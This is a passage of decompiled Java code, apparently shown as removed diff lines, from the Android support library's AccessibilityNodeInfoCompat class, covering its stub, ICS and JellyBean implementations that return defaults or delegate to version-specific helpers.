android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isEnabled(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isFocusable(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isFocused(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isImportantForAccessibility(Object obj) { - return true; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isLongClickable(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isMultiLine(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isPassword(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isScrollable(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isSelected(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isVisibleToUser(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object newAccessibilityAction(int i, CharSequence charSequence) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtain() { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtain(View view) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtain(View view, int i) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtain(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtainCollectionInfo(int i, int i2, boolean z) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtainCollectionInfo(int i, int i2, boolean z, int i3) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtainCollectionItemInfo(int i, int i2, int i3, int i4, boolean z) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtainCollectionItemInfo(int i, int i2, int i3, int i4, boolean z, boolean z2) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtainRangeInfo(int i, float f, float f2, float f3) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean performAction(Object obj, int i) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean performAction(Object obj, int i, Bundle bundle) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void recycle(Object obj) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean refresh(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean removeAction(Object obj, Object obj2) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean removeChild(Object obj, View view) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean removeChild(Object obj, View view, int i) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setAccessibilityFocused(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setBoundsInParent(Object obj, Rect rect) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setBoundsInScreen(Object obj, Rect rect) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setCanOpenPopup(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setCheckable(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setChecked(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setClassName(Object obj, CharSequence charSequence) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setClickable(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setCollectionInfo(Object obj, Object obj2) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setCollectionItemInfo(Object obj, Object obj2) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setContentDescription(Object obj, CharSequence charSequence) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setContentInvalid(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setContextClickable(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setDismissable(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setDrawingOrder(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setEditable(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setEnabled(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setError(Object obj, CharSequence charSequence) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setFocusable(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setFocused(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setImportantForAccessibility(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setInputType(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setLabelFor(Object obj, View view) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setLabelFor(Object obj, View view, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setLabeledBy(Object obj, View view) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setLabeledBy(Object obj, View view, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setLiveRegion(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setLongClickable(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setMaxTextLength(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setMovementGranularities(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setMultiLine(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setPackageName(Object obj, CharSequence charSequence) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setParent(Object obj, View view) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setParent(Object obj, View view, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setPassword(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setRangeInfo(Object obj, Object obj2) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setRoleDescription(Object obj, CharSequence charSequence) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setScrollable(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setSelected(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setSource(Object obj, View view) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setSource(Object obj, View view, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setText(Object obj, CharSequence charSequence) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setTextSelection(Object obj, int i, int i2) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setTraversalAfter(Object obj, View view) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setTraversalAfter(Object obj, View view, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setTraversalBefore(Object obj, View view) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setTraversalBefore(Object obj, View view, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setViewIdResourceName(Object obj, String str) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setVisibleToUser(Object obj, boolean z) { - } - - AccessibilityNodeInfoStubImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public List findAccessibilityNodeInfosByText(Object obj, String str) { - return Collections.emptyList(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public List findAccessibilityNodeInfosByViewId(Object obj, String str) { - return Collections.emptyList(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Bundle getExtras(Object obj) { - return new Bundle(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityNodeInfoIcsImpl extends AccessibilityNodeInfoStubImpl { - AccessibilityNodeInfoIcsImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtain() { - return AccessibilityNodeInfoCompatIcs.obtain(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtain(View view) { - return AccessibilityNodeInfoCompatIcs.obtain(view); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtain(Object obj) { - return AccessibilityNodeInfoCompatIcs.obtain(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void addAction(Object obj, int i) { - AccessibilityNodeInfoCompatIcs.addAction(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void addChild(Object obj, View view) { - AccessibilityNodeInfoCompatIcs.addChild(obj, view); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public List findAccessibilityNodeInfosByText(Object obj, String str) { - return AccessibilityNodeInfoCompatIcs.findAccessibilityNodeInfosByText(obj, str); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getActions(Object obj) { - return AccessibilityNodeInfoCompatIcs.getActions(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void getBoundsInParent(Object obj, Rect rect) { - AccessibilityNodeInfoCompatIcs.getBoundsInParent(obj, rect); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void getBoundsInScreen(Object obj, Rect rect) { - AccessibilityNodeInfoCompatIcs.getBoundsInScreen(obj, rect); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getChild(Object obj, int i) { - return AccessibilityNodeInfoCompatIcs.getChild(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getChildCount(Object obj) { - return AccessibilityNodeInfoCompatIcs.getChildCount(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getClassName(Object obj) { - return AccessibilityNodeInfoCompatIcs.getClassName(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getContentDescription(Object obj) { - return AccessibilityNodeInfoCompatIcs.getContentDescription(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getPackageName(Object obj) { - return AccessibilityNodeInfoCompatIcs.getPackageName(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getParent(Object obj) { - return AccessibilityNodeInfoCompatIcs.getParent(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getText(Object obj) { - return AccessibilityNodeInfoCompatIcs.getText(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getWindowId(Object obj) { - return AccessibilityNodeInfoCompatIcs.getWindowId(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isCheckable(Object obj) { - return AccessibilityNodeInfoCompatIcs.isCheckable(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isChecked(Object obj) { - return AccessibilityNodeInfoCompatIcs.isChecked(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isClickable(Object obj) { - return AccessibilityNodeInfoCompatIcs.isClickable(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isEnabled(Object obj) { - return AccessibilityNodeInfoCompatIcs.isEnabled(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isFocusable(Object obj) { - return AccessibilityNodeInfoCompatIcs.isFocusable(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isFocused(Object obj) { - return AccessibilityNodeInfoCompatIcs.isFocused(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isLongClickable(Object obj) { - return AccessibilityNodeInfoCompatIcs.isLongClickable(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isPassword(Object obj) { - return AccessibilityNodeInfoCompatIcs.isPassword(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isScrollable(Object obj) { - return AccessibilityNodeInfoCompatIcs.isScrollable(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isSelected(Object obj) { - return AccessibilityNodeInfoCompatIcs.isSelected(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean performAction(Object obj, int i) { - return AccessibilityNodeInfoCompatIcs.performAction(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setBoundsInParent(Object obj, Rect rect) { - AccessibilityNodeInfoCompatIcs.setBoundsInParent(obj, rect); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setBoundsInScreen(Object obj, Rect rect) { - AccessibilityNodeInfoCompatIcs.setBoundsInScreen(obj, rect); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setCheckable(Object obj, boolean z) { - AccessibilityNodeInfoCompatIcs.setCheckable(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setChecked(Object obj, boolean z) { - AccessibilityNodeInfoCompatIcs.setChecked(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setClassName(Object obj, CharSequence charSequence) { - AccessibilityNodeInfoCompatIcs.setClassName(obj, charSequence); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setClickable(Object obj, boolean z) { - AccessibilityNodeInfoCompatIcs.setClickable(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setContentDescription(Object obj, CharSequence charSequence) { - AccessibilityNodeInfoCompatIcs.setContentDescription(obj, charSequence); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setEnabled(Object obj, boolean z) { - AccessibilityNodeInfoCompatIcs.setEnabled(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setFocusable(Object obj, boolean z) { - AccessibilityNodeInfoCompatIcs.setFocusable(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setFocused(Object obj, boolean z) { - AccessibilityNodeInfoCompatIcs.setFocused(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setLongClickable(Object obj, boolean z) { - AccessibilityNodeInfoCompatIcs.setLongClickable(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setPackageName(Object obj, CharSequence charSequence) { - AccessibilityNodeInfoCompatIcs.setPackageName(obj, charSequence); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setParent(Object obj, View view) { - AccessibilityNodeInfoCompatIcs.setParent(obj, view); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setPassword(Object obj, boolean z) { - AccessibilityNodeInfoCompatIcs.setPassword(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setScrollable(Object obj, boolean z) { - AccessibilityNodeInfoCompatIcs.setScrollable(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setSelected(Object obj, boolean z) { - AccessibilityNodeInfoCompatIcs.setSelected(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setSource(Object obj, View view) { - AccessibilityNodeInfoCompatIcs.setSource(obj, view); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setText(Object obj, CharSequence charSequence) { - AccessibilityNodeInfoCompatIcs.setText(obj, charSequence); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void recycle(Object obj) { - AccessibilityNodeInfoCompatIcs.recycle(obj); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityNodeInfoJellybeanImpl extends AccessibilityNodeInfoIcsImpl { - AccessibilityNodeInfoJellybeanImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object obtain(View view, int i) { - return AccessibilityNodeInfoCompatJellyBean.obtain(view, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object findFocus(Object obj, int i) { - return AccessibilityNodeInfoCompatJellyBean.findFocus(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object focusSearch(Object obj, int i) { - return AccessibilityNodeInfoCompatJellyBean.focusSearch(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void addChild(Object obj, View view, int i) { - AccessibilityNodeInfoCompatJellyBean.addChild(obj, view, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setSource(Object obj, View view, int i) { - AccessibilityNodeInfoCompatJellyBean.setSource(obj, view, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isVisibleToUser(Object obj) { - return AccessibilityNodeInfoCompatJellyBean.isVisibleToUser(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setVisibleToUser(Object obj, boolean z) { - AccessibilityNodeInfoCompatJellyBean.setVisibleToUser(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isAccessibilityFocused(Object obj) { - return AccessibilityNodeInfoCompatJellyBean.isAccessibilityFocused(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setAccessibilityFocused(Object obj, boolean z) { - AccessibilityNodeInfoCompatJellyBean.setAccesibilityFocused(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean performAction(Object obj, int i, Bundle bundle) { - return AccessibilityNodeInfoCompatJellyBean.performAction(obj, i, bundle); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoStubImpl, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void setMovementGranularities(Object obj, int i) { - AccessibilityNodeInfoCompatJellyBean.setMovementGranularities(obj, i); - } - - @Override // 